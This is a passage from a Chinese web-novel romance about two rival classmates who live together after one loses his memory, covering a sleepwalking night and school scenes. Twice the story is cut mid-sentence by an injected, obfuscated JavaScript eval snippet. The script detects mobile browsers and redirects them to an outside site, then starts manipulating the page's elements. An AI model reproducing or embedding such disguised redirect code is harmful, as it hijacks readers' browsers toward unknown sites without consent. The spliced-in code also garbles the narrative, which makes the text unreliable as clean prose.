一切整理完成之后,已经将近十点。在收拾的间隙,唐松仔细一想,凭借顾渝的学习成绩,以后他这房子要是出了一个状元,那房价不得水涨船高,抢着买房的人从小区东头排到西头去,简直好事一桩。 死对头的利用价值直线上涨,想到这里,他又有点振奋,一振奋就突然想来顿夜宵,但为了秉持着好兄弟的形象,又不好吃独食。 他看了一眼顾渝:“喂,你吃饭了没?” 顾渝坐在摇摇晃晃的塑料凳上,看起来有些滑稽:“……我减肥。” 唐松哼笑一声,转身进了厨房,出来的时候手里拿着一包某师傅牛肉面,大食袋加量的,朝顾渝挥了挥:“就剩一包了,吃不吃?” “……吃。” “加火腿肠吗?” 顾渝耳根红了:“……加。” 俩大男生窝在八角桌旁边一人手里一碗面,馋的那个吃相狂放,饿的那个吃相斯文,画面难得和谐。 吃了饭,顾渝洗的碗,唐松洗完澡出来,进了厨房,水槽里沾着点水渍,碗筷被整齐的放在一边。 唐松回到房间,不一会就听见门被打开,发出很响的“嘎吱”声,又等了一会,外面传来哗哗的流水声。 他思忖着自己天衣无缝的计划。 首先,要捏造一些谎言获取顾渝的信任,然后借好兄弟的名义让顾渝对他百依百顺,最后任他揉捏,为他卖命。 想到顾渝恢复记忆之后发现自己被死对头玩弄,气得跳脚的模样,他已经开始期待了。 不过至于怎么揉捏,他现在还没想好。 ……总之是天衣无缝就对了。 然后,还有一件事…… 十分钟后,流水声停了,他跳下床打开房门,正好与从浴室出来的顾渝撞了个对脸。 顾渝换了一套夏天的T恤,他额发滴着水,顺着他脖颈的线条滑下。 他手里拿着毛巾,把脖子上的水珠拭去:“有事吗?” 唐松还没见过这么生活化的顾渝,有点别扭,想好的话一下卡壳了:“那个……碗,谢了。” 顾渝点点头,刚要进房间的时候,又被叫住。 唐松无法直视顾渝,只好偏着头侧开视线:“喂,好兄弟。忘记问你了,你怕狗吗?” 顾渝摇摇头,凭借良好的视力顺着唐松敞开的房门短暂地窥测到了最里面阳台的一些布置,狗窝,狗盆。 仔细闻一闻,好像还有点狗味儿。 顾渝忽然想到日记里说过的,“我们在路上捡到了一只小狗,唐松给他取名叫为什么。” 所以这只叫“为什么”的小狗,好像是他们以前一起养的狗。 但是唐松却说:“你可能不知道,我养了一只狗,是只金毛。” 顾渝差点气笑了。 怎么可能不知道,那也是我的狗。 顾渝悲哀地想,太惨了,人被甩了,现在竟然连抚养权都被剥夺了。 不知道单亲家庭的孩子很容易缺爱吗。 实在是咽不下这一口气,顾渝皮笑肉不笑地开口:“哦,好巧啊,我以前也有一只狗,也是金毛。” 不过唐松的演技真是天衣无缝,脸上半点破绽都没有,似乎真的很惊讶一般:“你也有只金毛?那好办了,为什么是特别聪明的小女孩,她之前是流浪狗,所以可能有点怕陌生人。” 顾渝被“陌生人”彻底刺激到了,他板着脸,一言不发。 唐松挠了挠头,以为顾渝还有点不适应他的新身份。 他表现得太差了? 好兄弟的话,是不是也该给顾渝分享一些自己的事情,让他尝一点甜头? 豁出去了。 他不习惯跟顾渝说这些,语气有些僵硬,“你知道为什么为什么叫为什么吗?因为她叫的时候特别像在说‘为什么为什么’。哦,还有,她这两天去好朋狗家玩了,明天我把她接回来,你们两个和平共处,你要是欺负她,别怪我……” 说着说着又觉得这话对于“好兄弟”来说有点激烈,唐松又紧急改口道:“别怪我——伤心给你看。” 顾渝:“……” 他是什么后爸吗? 6. 哥哥 顾渝在书桌前做了一套理综题。 他之前没有接触过这些题目,但是好在一看到这些题目,手就如同肌肉记忆一般开始自动写起来,这是不幸中的万幸——他看得懂,虽然失去了记忆,但是曾经学过的知识应该没有丢掉。 他写的很快,也没有逐个去做,更像是在查看和挑选题目的类型,让自己迅速适应这种考试模式和题目。看完之后,他又翻了一遍生物书。 做完这一切后,已经十二点过半。 房间里很静,他躺在硬板床上,强迫自己入睡。 窗帘不遮光,门窗也不隔音,偶尔有车子驶过,车轮划过地上带出湿漉漉的长音,房间里亮了一下,又迅速陷入黑夜。 一想到自己被甩的事情,他翻来覆去地睡不着。 日记的最后一页他还写着要和对方一辈子生活在一起,这表明失忆之前的他,其实是不知道他们感情破裂的事情的。 所以他为什么被甩了? 还有,唐松为什么要骗他? 明明都收留了他,却还说什么好兄弟,这对他有什么好处吗? 是唐松气他把过去的事情都忘了,想要故意羞辱他,把他当乐子玩? 或者他们以前真的产生了他不知道的龃龉,才让唐松厌恶他到不愿意承认过去。 一切全都不得而知。 但是,今天也不是没有收获的。 他大致了解了唐松是个怎样的人了。 嘴巴很厉害,外壳很坚硬,偶尔喜欢使坏,是个撒起谎一秒钟能眨十次眼睛的不合格的小骗子。 但是内心,还算柔软。 看在他长得那么可爱的份儿上,顾渝决定暂且原谅他的谎言。 毕竟万一,是他自己的错呢? 想着想着,顾渝迷迷糊糊睡着了。 坠楼之后,他的头部受到撞击,脑部有一块阴影,医生判断阴影是愈合后留下的钙化灶,对生活没有什么影响,但建议他先暂时停止服用镇静催眠的药物。 不知为何,停药之后的夜晚,他总是会陷入到奇怪的梦境中去。 他闭着眼睛,意识慢慢变得沉沉浮浮,脑海里闪过很多人的面孔和过去的事情,筹光交错的酒会上很多人过来和他碰杯,他邀请了一位大家闺秀跳舞;母亲流着泪抚摸他的脸,又狠狠扇了他一巴掌;以及不知在何地何地,他脚下有一片深黑的大海。 再次醒来时,他发现自己躺在地板上。 房间里散发着浓重的酒气,他旁边四处散落着喝空的易拉罐,酒液漫在地板上,沾到了他的头发和身上。 顾渝想坐起身来,但很快发现他好像并不是这具身体的主人,因为他感觉到自己的手不受控制地在动,不断地把酒精灌入他的咽喉。 那一瞬间喉咙的苦涩让他甚至有点无法忍受,他拼命挣扎着,想获得这具身体的控制权,但无论怎么努力,他的意志都无法获得自主权,只能任由这具身体的另一个主导者机械地吞咽着酒精。 这是谁?这是哪里? 顾渝麻木地想着。 不知过了多久,眼前闪过一道微弱的光芒,有人开门进来了。 那人脚步有点蹒跚,也像是喝醉了,先是把四散的垃圾踢到一边,紧接着又强硬的拿走了他手里的啤酒。顾渝眼前一片模糊,看不清那人的脸,只能看见他口里张张合合说着什么,但这具身体却毫无反应,紧接着那人又伸手抓住他的胳膊,试图拉他起来。 这具身体动了。 他双手抓住那人过来拉他的胳膊,猝不及防把那人拽了一个趔趄,他向前一扑,落到了顾渝的怀抱。 那人在他的怀里挣扎着想要起身,但这具身体却没给他这个机会,单手抚摸上那人的后背,死死地把人摁在了怀里。 他低头,鼻尖贴着那人的颈窝,感受到怀抱中的那个身体正在微微的颤抖。 紧接着,顾渝听见自己沙哑的嗓音:“你来干什么呢?” “你在干什么呢!” 一声怒吼把他拉回了现实,顾渝睁开眼,反应过来自己是刚才在做梦,清醒了才发现这声音是竟然唐松发出的。 紧接着,他觉得额头和嘴角都传来剧烈的痛意,下意识往嘴角一抹,借着月光隐约看得见暗红的颜色。 他被打了? 顾渝花了五秒才弄清楚他现在的处境。他坐在地上,屋内没开灯,也没有窗帘,月亮微弱的亮光让他能看清一些这屋子的布置,单人窗,书桌,衣柜,狗窝,狗盆,淡淡地狗味儿与唐松身上独有的皂角香。这明显不是他的房间。 唐松惺忪又带着点震惊的脸就在顾渝眼前,他跳下床跨过顾渝开了灯,屋内顿时一片明亮。顾渝头痛欲裂,内外都痛,一动不动地在地上坐着。 灯亮了,他又一抹额头,鲜红的。人有些发懵:“你打我了?” 又说:“头好晕。” 唐松气不打一处来。他好好地躺在床上睡得正香,但在梦里忽然觉得后背发凉,本来是觉得窗户没关严,他精神太过困倦,连手指头都懒得动弹。 好不容易挣脱了困意去关窗户,结果一睁开眼睛,床头立着一个人影。仔细一看,这人一动不动地歪着脖子张着嘴,脸上毫无血色,而且睁着眼睛死死盯着他,吓得他“嗷”一声跳起来,立马清醒了。 以为男鬼要来索他命了呢。 “你在这等这我呢,”唐松看着坐在地上的顾渝,火上心头,“你有病吧,你大半夜不睡觉跑来吓唬我干嘛啊?” 顾渝眼睛血红,呼吸明显不太正常,胸膛剧烈起伏着,一副受惊的样子,听到他的话抬起头来没什么情绪地看了唐松一眼,接着轻飘飘地晕倒了。 “我靠!” 唐松这才反应过来顾渝应该不是装鬼吓他,他跳起来直接跨坐在顾渝的身上,一手拽着他的领子一手掐他的人中:“你不能死啊!你还没当成状元呢!要死也得是状元鬼啊!” 顾渝被摁了两下,缓过些神来,张了张嘴,嘴角淌出一丝血迹:“救……急……” “别吐血啊!你别急!我这不是在救你吗!”唐松满头大汗,一边喊一边用力掐他的人中。 顾渝用尽全力别过头去,“救……” “救护车?咱俩哪有钱叫救护车啊!” 顾渝又开口:“嘴……” 只是还没说完,就又被打断:“嘴?卧槽,孤男寡男的人工呼吸不太好吧。” 唐松把顾渝放平,双手摁在他胸上,“你别死,我先给你做心肺复苏看看能不能活!” 还没摁两下,唐松猛然想起,不对啊,他只是对着顾渝的脸来了两拳,力道也不大,没道理就性命攸关了啊。 他停下动作,顾渝睁着眼睛双眼无神地看着他,嘴角和额头的伤口渗着血。 两个人大眼对小眼干瞪了一会儿,顾渝率先开口道:“从我身上下来。压死……我了。” “哦哦。”唐松冷静下来发现自己全身的重量几乎都压在顾渝的肚子上,刚才事态紧急他也没有注意到,赶忙从他身上爬下来:“你没事儿吧。” 顾渝在地上缓了一会,突然道:“心肺复苏的正确方法是垂直按压胸部的正中央,你这样顶多会把我右侧的肋骨压断。” “还有,”他面无表情,“我嘴巴出血了,你家救急箱在哪里?” - “谁知道你到底想说什么啊,”唐松用棉签沾着碘伏重重按在顾渝脑袋上,对方疼得激灵一下他也毫不在乎,他就觉得不疼不长记性,“没事闲的大半夜跑我床边干嘛,给你两拳都是轻的。” 唐松又捏起顾渝的下巴给他上药:“我说,你要是真看不上我就直说,我们光明正大地来一架。至于特地跑到这来扮鬼吓我吗?” “对不起。”顾渝乖顺地任由对方动作,“我真的不是故意的,我有意识的时候已经被你打趴在地上了。” 噩梦还令他心有余悸,不过唐松在这里,让他的焦躁比起以往来竟然减缓不少。 唐松在药箱里翻来翻去:“所以你是怎么回事?” 顾渝猜测:“我可能梦游了。” “梦游?”唐松还是第一次在现实生活中看见梦游患者,他以前在密室逃脱的恐怖副本里做过梦游杀人的NPC,吓得一帮大小伙子叠起来像尖叫鸡一样鬼哭狼嚎,那时的他还十分不屑的想:一群胆小鬼。 他现在稍微能理解他们的心情了。唐松在心里默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883018|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默给他们道歉。 顾渝说:“是我受伤之后脑子里有一个血块没消掉,醒来之后还留下很多后遗症。” 唐松看着顾渝苍白的脸颊和没什么血色的嘴唇:“你到底受了什么伤啊。” 顾渝并不想细说这件事情:“从楼上掉下去了。” 唐松一惊:“你跳楼了?” “是事故,”虽然顾渝也不知道他当时到底是怎么回事,“……我不记得了。” 破产,无家可归,掉下楼,休学,失忆,梦游症,还落魄到了死对头手里,人一辈子都碰不上几个的倒霉事被顾渝经历了个遍。 真够悲惨的。 “等等,”唐松突然想到了一件事,福至心灵:“我突然想到,那你现在表面上是十八岁的成年人,可是实际上心智还是十六岁的未成年?” “……十七。”顾渝纠正。一年过去,他还长了一岁呢。 唐松恍然大悟。 现在的顾渝,原来只是一个可怜的小弟弟。 唐松充满同情地看着他:“你别怕,有哥在呢。快,叫声哥哥。” 顾渝:“……” 唐松故作惆怅:“唉,把我忘了还对我这么不好,我太难过了。” 顾渝脸色复杂地看着他:“……我以前也这么叫吗。” 唐松谎话越说越纯熟:“那当然啊,以前你一口一个哥哥叫得可亲热了!” 顾渝又伤心了。 他也是对同性群体有所了解的,哥哥,这么腻歪,一看就是爱称。唐松不承认他们的关系,却大胆地把这种事情都说了出来。 可见对方真的有恃无恐,把他当傻子耍。 他揉了揉眉头,已经不想再跟唐松说话:“以后我会把房门锁起来,你也把门锁……”他眼睛撇到唐松破旧的卧室门,门把手的地方空空如也,被一个手腕大小的洞替代。 怪不得他能那么顺畅地进去。 “……总之今天谢谢你,很晚了,早点睡吧。”他颤颤巍巍地站起来,步履蹒跚地一步一步走回房间,背影有些落魄。 唐松看着他的背影,想到那两拳,良心有点痛。 虽然他当时也只是条件反射下的举动。 不过转念一想到顾渝没失忆时候的嘴脸,瞬间把那点愧疚忘了个精光。 躺回床上,他辗转了差不多一个小时也没睡着,顾渝卷着丑纱布可怜兮兮地样子一直在他脑海里盘旋。 高高在上的死对头变得这么可怜,但是他却没有想象中的那么开心。 唐松在黑暗中睁着眼,重重叹了一口气,最后认命似的拿出手机开始搜索“室友梦游该怎么办?” 搜索里面回答千奇百怪,有什么“不要叫醒,叫醒容易噶会发狂”“屋内有邪祟,要找大师作法,今日师兄与道友结缘我只收8888香火费福生无量”,还有说“找姥姥,因为梦游天姥吟留别”“如果说坐标江西的话就不稀奇了”的,唐松翻了半天,才好不容易找到一个靠谱的答案。 “不要害怕,要引导TA到床上睡觉,用你的手掌温柔地安抚TA,顺着他,让TA感到放松。” 温柔?安抚?唐松伸出自己的拳头,又比了比手掌,不知道温柔铁铁拳和安抚硬硬掌可以吗? 他睡不着,又顺手翻了几条过去的新闻,一下子翻到几条某男子梦游失踪的,某某梦游超越身体极限跳窗跳河跳海跳桥的,唐松不禁有点后怕。 他现在反倒有点庆幸,还好顾渝是进了他的房间,要是真出了门跳了窗不知道走到哪去,他大概率现在就在河里捞人了。 等等,要是顾渝没进他的房间呢? 关着门,他也不知道顾渝会不会梦游到河里。 唐松一个鲤鱼打挺坐起身来,鬼鬼祟祟地走到顾渝房间门外,咬着手指头瞎晃悠了十多分钟,才下定决心一般用一秒钟一帧的慢动作,轻轻地把手附在了门把手上,试图拧开房锁。 不知过了多久,“咔哒”一声,锁拧到了尽头,唐松屈起膝盖用力向里顶了顶。 拧不开。真的锁了。 他盯着锁看了一会儿,脸上的表情十分丰富,不知在思索些什么。良久,他跑回房间不知拿了什么东西出来。 7. 小纸条 顾渝早上起来,发现自己房间的锁不翼而飞,只留下门上一个虚无的空洞。 他正纳闷着,转头一看跟他一墙之隔的房间,唐松坏掉的卧室却横空出现了一只门锁——样子还和他坏掉的锁一模一样。 他本来以为唐松是不相信他才会半夜偷偷把锁换走,想到他趁他睡着偷偷摸摸的换锁的样子,顾渝不禁觉得有点想笑。 可是马上他就发觉这种想法可能有误——因为唐松的房门并没有锁上,而是虚虚掩着,还开了一条缝。 顾渝的视线一瞬间被那条缝隙捕捉,不知为何,他心脏重重鼓动了一下,驱动着身体向前一步慢慢地靠近那扇凭空突然出现了一点禁忌色彩的门,好像那道门缝并非普通的门缝,而是他良好家教与道德底线的裂缝。 透过门缝,里面的唐松无知无觉,四仰八叉地睡在床上,一只脚垂在床边,被子只盖住了头。 他注视着唐松垂下来的那只左腿,小腿十分白皙,只是上面错落着很多浅色的旧疤痕,应该总是干重活磕磕碰碰导致的。 就在此时,唐松无意识地翻了个身,一伸胳膊将被子从头上整条甩到了肚子上,在床上挺了挺身,嘴里嘟嘟囔囔地不知在说什么。 顾渝静静看了一会儿,而后不由自主地弯了弯嘴角。 * 顾渝心情显然不错,他主动和在座位上啃包子的秦云鹤说“早上好”。 秦云鹤看着他头上和嘴角的伤,咬了一半的包子掉在课桌上:“您这是……”学神也会跟人打架吗? 晨光熹微,教室里稀稀拉拉的只有几个人,大部分人都在座位上吃早餐,教室里散发着食物的香气。顾渝早上自己把唐松缠的丑纱布拆掉了,淤青与深红结痂的伤口刘海也盖不住,嘴唇和嘴角都破了,看起来十分狼狈。他把书包挂到凳子上,没什么表情:“不小心摔了一下。” 准确地说,是被动地不小心摔了一下,又恰巧摔到了某人的拳头上而已。 秦云鹤想象不到顾渝是怎么摔倒会伤到额头和脸的,不过他敏锐地通过他嘴角翘起的0.0001毫米的弧度察觉出对方的好心情,然后第一次这么恨自己发达的察言观色的神经。 他迅速总结出两条信息,一,学神昨晚被揍了。 二,学神有点高兴。 所以结论是,学神他昨天突然……抖M属性大爆发了。 不过顾渝完全没注意到秦云鹤向他投来的微妙眼神,随手从桌肚里掏出几张英语卷子开始醒脑。 秦云鹤三两口把包子吃完,拿着卷子转头立马贴了上去:“大佬,昨天的数学卷子最后一道导数题我不会做……” “叫我名字就行,”顾渝伸手把卷子接过来看了一眼,“这道题确实有点难度。” 问题的价值被顾渝肯定,让秦云鹤内心莫名生出一点奇妙的膨胀感。他瞬间觉得自己也上了高度,顾渝简单说了两句,他立马福至心灵,在草稿纸上演算起来。 “我靠,妙啊,大佬不愧是大佬。” 顾渝笑笑:“还是得多练习。” 他昨天估计了一下自己的对各个科目的掌握程度,发现他在他失忆之前,应该是差不多已经学完高中全部的内容了,但是相对于物理和英语来说,其他科目做起来还是有些生疏,尤其是语文。 顾渝在旁边认真地看他写步骤,他每点一次头,秦云鹤心里就又越雀跃一分,算完后,顾渝说:“没错,二元不等式转化为单元不等式就可以证明了,你的方法很好。” 秦云鹤膨胀了。 他得寸进尺:“你语文作业写了没,借我瞻仰一下呗。” 一轮复习开始之后,语文老师每天都要求他们做五道古诗文赏析,独家出题,翻遍全网都找不到答案。 秦云鹤每节语文课上的课本下面不是压在数学卷子就是英语卷子,对古诗词更是一窍不通,每次都答得驴唇不对马嘴,上次把将闺中愁绪的古诗词套上了随便蒙的“羁旅漂泊边塞征战的孤独之情”,被老师上课当反面教材念了出来,他老脸瞬间没地儿搁了。 顾渝刚想说话,后门便被推开,唐松顶着鸡窝头大喇喇地走了进来,越过顾渝的头顶一下把书包甩到桌子上。 “松哥今天来怎么来的这么早?”秦云鹤疑惑,唐松基本不上早自习,有时候上课甚至都是踩点来,今天真是太阳打西边出来了。 唐松打了个大哈欠,回到座位上一摊,黑眼圈十分明显:“楷姐大早上给我打电话叫我给她搬卷子。”其实就是为了让他来上学随便找的理由,他搞不明白班主任明明忙的像个陀螺一样却还有功夫在他身上死磕。 这样的事情并不少见,秦云鹤见多不怪:“我正跟大佬借语文作业呢,你做了没,一起抄?” 唐松嗤笑一声:“你问顾渝借语文……不是,你叫我抄作业,请问这位古风小生,我写过作业吗?”他没听过比这还离谱的事情了。 秦云鹤叹了一口气:“你好歹听听课吧,都要高考了。” 唐松非常佛系:“我倒是想啊,可这脑子学不明白东西能怎么办。” “开玩笑,能考进十一中的哪有脑子不好的啊,”他对唐松的家庭状况有所了解,“你考不上大学,以后怎么办啊?” 唐松还是一副无所谓的样子:“难道念了大学就能赚大钱了吗?而且就我这嘴皮子,这长相,念不了大学起码还能凭借颜值当个销售吧!我可以从曝光率最高的发传单开始,后面上司看我长得帅,让我专门卖大别墅,三年买车,五年买房,从此走向人生巅峰。” 唐松整个人没骨头一样挂在椅子上,坐没个坐相。他眉峰很高,所以带点凶相,更没有亲和力。 秦云鹤一想到那个画面就起鸡皮疙瘩:“松哥,你要真去卖房,人家该以为搞房地产的都是□□出身了,反正我不买。” 唐松眉毛一挑,“叫你买了?” “那渝哥也不买,”秦云鹤把顾渝拉进战场,“大佬你也不买是吧。” 威胁的眼神霎时扫到了顾渝的身上,他想到唐松顶着小寸头穿着小西装堵人发传单的样子,非常捧场:“买。” 唐松得意洋洋,昨晚的好人好事没白做:“看见没有,总有人被哥的魅力征服的。” 秦云鹤笑的肚子痛:“太有了,这颜值不能浪费啊,说不定还能做点别的呢~”他摆了一个极其风骚的姿势,朝唐松挤眉弄眼。 “秦云鹤你干嘛呢?”楷姐的身影鬼魅一般出现在后门边,“学如花呢?给我也表演一个呗。” 秦云鹤一个激灵,讪讪地坐正了。 “还有这俩观众,”赵楷手指轻轻点了点顾渝的桌子,在顾渝脸上扫视了一下,但什么也没说:“你们俩课间操的时候来我办公室一趟。唐松,你好好坐着,八爪鱼一样成什么样子?” 唐松没反应:“什么事儿啊?” 楷姐岔开这个话题:“不是叫你过来给我搬卷子吗?还有啊,下周就要第一次一模考了,你桌上连本书都没有,像话吗?” 她一低头,又看见顾渝桌子上的写得密密麻麻的演算纸,欣慰地夸奖道:“这是昨天作业的压轴题?看看人家顾渝这种钻研精神,”顺便敲打了一下秦云鹤和唐松,“有些人刻苦钻研,有些戏剧表演,有些人海底世界。” 秦云鹤有苦说不出:这我写的! …… 唐松觉得顾渝有点怪癖。 他像往常一样耳边伴着语文老师慈祥朗诵古诗词的声音,迷迷糊糊地在椅子上点头,马上要舒舒服服进入梦乡时,顾渝的凳子发出“刺啦”一声响。 响声不大,只有他听见了,他下意识睁开眼睛,看见顾渝专注地盯着卷子做笔记。 等他又开始犯迷糊,顾渝的凳子又动了一下,他一激灵,又醒了。 如此循环往复了几次,唐松也察觉到了一点不对劲,每次他马上睡着时,顾渝的凳子就适时的发出声音。 “你哪儿不舒服?” “没有。”顾渝面色不改。 “好吧。”他换了个姿势,胳膊拄在桌上托着脸。 讲语文的是个年纪大的老教师,声音轻柔和缓,没一会他眼皮就又开始打架,即将陷入梦乡的那一刻,额头触碰到了一个冰凉的物体。 他猛地睁开眼睛,只见顾渝右手拿笔写字,左手手掌正好抵在他眉头。 唐松皱起眉头,不满地看着他:“你干什么?” 顾渝把手缩回去,刚记的笔记推给唐松:“学霸速成版本,赏脸看看。” 唐松打开笔记哗啦啦地翻开,竟然是一本物理笔记,上面公式密密麻麻地像天书,他看了两秒钟又合上了,不明所以:“你抽什么风?” 顾渝歪头,嘴角一弯:“拯救我失足边缘的房东。” “……” 唐松气乐了,失忆的顾渝还挺幽默。 他重新闭上眼睛,可是任由老师的声音再温柔再催眠,他也丝毫没有睡意了。 认命地搓了把脸,睡醒了无所事事的唐松开始骚扰顾渝:“喂。” 顾渝没有理他,他再接再厉:“你不是失忆了吗,你能听懂吗?” “你现在的文化水平岂不是只有初中毕业啊,那不是跟我差不多。” 他忧心忡忡:“那你还能考上状元吗?” 顾渝充耳不闻,刷刷刷地在卷子上记着笔记。唐松放空了一会,从桌肚里掏出来不知道哪年的空白卷子,开始写起来。 余光瞥见唐松竟然在写卷子,顾渝刚想着这人怎么改邪归正地这么快了,对方就抓起卷子拍到了他桌子上。 顾渝一看,纸上写着三个大字:你聋啦? “……” 顾渝就着他的卷子写了一行字,又递了回去。唐松接起来兴致勃勃地一看,瞬间蔫儿了。 笔锋遒劲有力几个字落在他的狗爬字旁边:我的锁哪去了? 甚至连问号都带着笔锋。 唐松把脸埋在肘窝里,快速写了几个字把卷纸丢到顾渝怀里:不知道,你梦游干的吧。 说完把头埋起来,闭上眼睛拒绝沟通了。 唐松这一觉睡到课间操,十一高有秋季跑操的传统,几乎所有的学生都出去了。顾渝把睡得迷迷糊糊的唐松揪起来:“班主任叫我们去她办公室。” 楷姐正在走廊边上打电话,神色有些难看。看见他俩来了,迅速调整了一下表情匆匆把电话挂了,做了一个招呼的手势:“唐松,过来。顾渝先在外面稍等会啊。” 唐松抓了抓脑袋,跟楷姐进了办公室。 办公室非常安静,窗户外学生喊口号的声音隐隐约约穿透进来,赵楷随便拉了一个椅子,对唐松说:“坐。” 他懒懒坐下:“哦,是又要开家长会了吗。” 他这两年来老师办公室的次数自己也数不清了,基本都是因为逃课或者是在校外打架斗殴,不过能让赵楷对他和颜悦色一点的时候,也就是要开家长会了。 高中的家长会开的不频,一年也就一两次。进了高三,第一次开学考摸底成绩出来之后,学校打算筹备一次家长会分析学生成绩,也算作起跑的第一枪。 以往都没人给他开家长会,他杵在教室的最后一排装家长,身板虽然一年年长高长壮,可惜穿什么也没法扮成他英年早逝的老爹混进家长圈子里。他听不得那些又臭又长的演讲,总是开到一半就从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883019|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后门溜走,在没人的操场漫无目的地逛。 “考完试就开,”赵楷从书立里抽出一沓资料,上面小字写的密密麻麻,“你想不想上大学,唐松?” “想不想也不是我说了算啊。” “怎么不是你说了算?你上学,你考试,全是你说了算,”楷姐翻开被编订整齐的手写资料,“我对你的的成绩做了总结,到高一下学期为止你的成绩都是在中上游的,说明你底子不差,头脑也完全没问题。高三还有一年呢,只要你乖乖坐着学习,上课认真一点,我认为你完全有这个能力。” “然后呢,”唐松腿搁在地上,坐在转椅上左右打滑,“然后怎么办呢?” 赵楷沉默了一瞬,唐松的家庭情况说简单,又复杂。高一的时候她还不明情况,把唐松叫到办公室,问班里这个刚开学就惹事的刺儿头“为什么父母没来家长会,为什么把家长的电话号码写成自己”。 那时候唐松个子还没她高,“我爸妈都英年早逝了。” 她又问:“那现在谁在带你?” 唐松模棱两可支支吾吾:“我有监护人,她在外地打工,所以我自己过。” 一想到这些,赵楷的心情就又复杂了一些,她说:“唐松,你总得先试一试,有些事情到了那个关头才发现不是没有转圜的余地的,可那时候发现就晚了。” 没人回答她,她知道这是唐松又开始犯倔了,但有些话她却不得不说:“其实前几天有个人给我打电话了,她自称是……你妈妈。” 那个女人打来电话的时候她也很震惊,她走访过唐松的邻居,确定他母亲的确已经去世,而这个打电话自称是唐松母亲的女人,声音年轻而温柔,“我忙着忙着总是忘了他,赵老师,我是唐松的母亲,唐松最近怎么样?” 唐松动作停了。 “我们聊了一会,你妈妈说,”她挑了一个重点,“这次可能要过来参加你的家长会。” “她不是我妈,她骗你的,老师。”唐松说。 赵楷没明白他的意思:“那她是谁?” 唐松摆摆手:“那人是我姐,我爸妈死的早,她总想着给自己升辈分,假装我妈。” 赵楷:“……”这一家人真够有意思的。 他站起来,“没别的事走了楷姐,我跑操去了。” 赵楷看着他的背影道:“家长会的事情先放一放,但关乎你未来的事情,你总要为自己证明一下。” 唐松出来时面无表情,顾渝感受到他情绪似乎不高,他想说点什么,可是唐松故意避开他的眼神,一言不发地走了。 顾渝只好先进办公室,赵楷背对着他,正看着窗户发呆,他轻声咳了咳:“赵老师。” 赵楷回过头来,脸色带着一丝疲惫,但还是努力对顾渝露出一个笑容来:“你来啦,身体怎么样?” 顾渝敏锐地察觉到赵楷有话要讲,不过他很沉得住气:“谢谢老师关心,已经恢复的差不多了。” “不要着急,先以身体为主。虽然你之前一直在准备竞赛也不怎么在班里上课,”赵楷打开电脑的文件夹,把一个名称为“0208顾渝”的文件夹打开,调出他的成绩变化折线图,是一条基本没什么变化的线,“你以前每次参加考试的成绩都非常不错,慢慢来,老师相信你。” “谢谢老师,我会的。” 赵楷“哦”了一声,说:“那就好,其实还有一个别的事情。我之前想联系过你家人,但是电话打不通,而且家长群里的那个号是你本人吧,害算了,说了你也不知道了。” 顾渝:“……” “反正你让家长进到群里面,这样也方便以后有什么事情可以通知。” 从小到大,顾敛章就从来没加过什么家长群,大大小小的事情不是他自己处理就是顾敛章的秘书抽空过来,顾渝问:“我自己在家长群里不行吗。” 赵楷一个头两个大,唐松也是顾渝也是,她确实搞不懂现在男高中生的内心想法,她尽量保持温柔的语气:“为什么呀,你成绩这么好,爸爸妈妈也会很高兴的吧。你父母工作很忙吗?” “很忙,”他已经疲于向任何人解释他家的复杂关系,“不过我可以把他电话给您,稍后您和他联系试试看。” 赵楷明显松了一口气:“那好,马上要考试了,你也要注意身体,别学习太晚,有什么学习上或者生活上的事情,一定要第一时间联系老师,身体不舒服的话,及时去医院就医,最主要的就是保持平常心,和班里同学多沟通,不要有太大压力。” “谢谢老师。” “还有,”赵楷看着顾渝的脸,“你这脸怎么回事?” 顾渝刚想开口,就被赵楷猜透了一般:“别跟我说你是摔得,大人没那么好骗。你是不是打架了?” 顾渝被这种陌生的数落攻击得有点手足无措,一时有些哑然:“没打架,睡觉的时候滚到地上去了,好像是磕到了什么。” 其实他也没说错,梦游也是睡觉,他只是被唐松的拳头一磕,然后不小心滚到地上去了。 赵楷狐疑地看着他,接着叹了口气:“算了,我相信你这样的好孩子不会撒谎。不过要是有人欺负你,一定要告诉老师们。” 顾渝点点头,接着给了赵楷顾敛章的工作电话。因为顾敛章几乎不会接任何号码不明的私人电话,但即使打通了工作电话,大多数时间也只会是秘书代为接听。 顾敛章决不会让别人知道他家里的变故以防对他的名誉造成损害,如果来者是顾渝的老师,那么秘书大概率会回复“对不起,顾总现在在海外,一时无法赶回去,不过顾总交代了,顾渝从小就非常独立,他可以全权,负责他自己。 8. 为什么 唐松在老师找他谈话之后就不见人影,一直到晚自习放学都没再出现,不知道是受了什么刺激。 放学之后,顾渝站在家门口才意识到一个非常严重的问题——他没有钥匙。 昨天他住进来的匆忙,鸡飞狗跳的一个晚上过去,两个人谁都没想起来钥匙的事情,顾渝只能给唐松打电话。 一连打了三遍都是无人接听,直到第四遍的时候,电话终于被接起,顾渝问:“你在哪?” 那头哼哧哼哧地一阵响动,听不清在干什么,顾渝皱起眉:“什么?” 还是只有库茨库茨库茨的杂音,伴随着风的呼啸,像是什么东西在急速奔跑,他刚想挂掉,电话那头就传来了清晰的一声:“汪!” ?这位小骗子终于被上天惩罚变成小狗了吗? 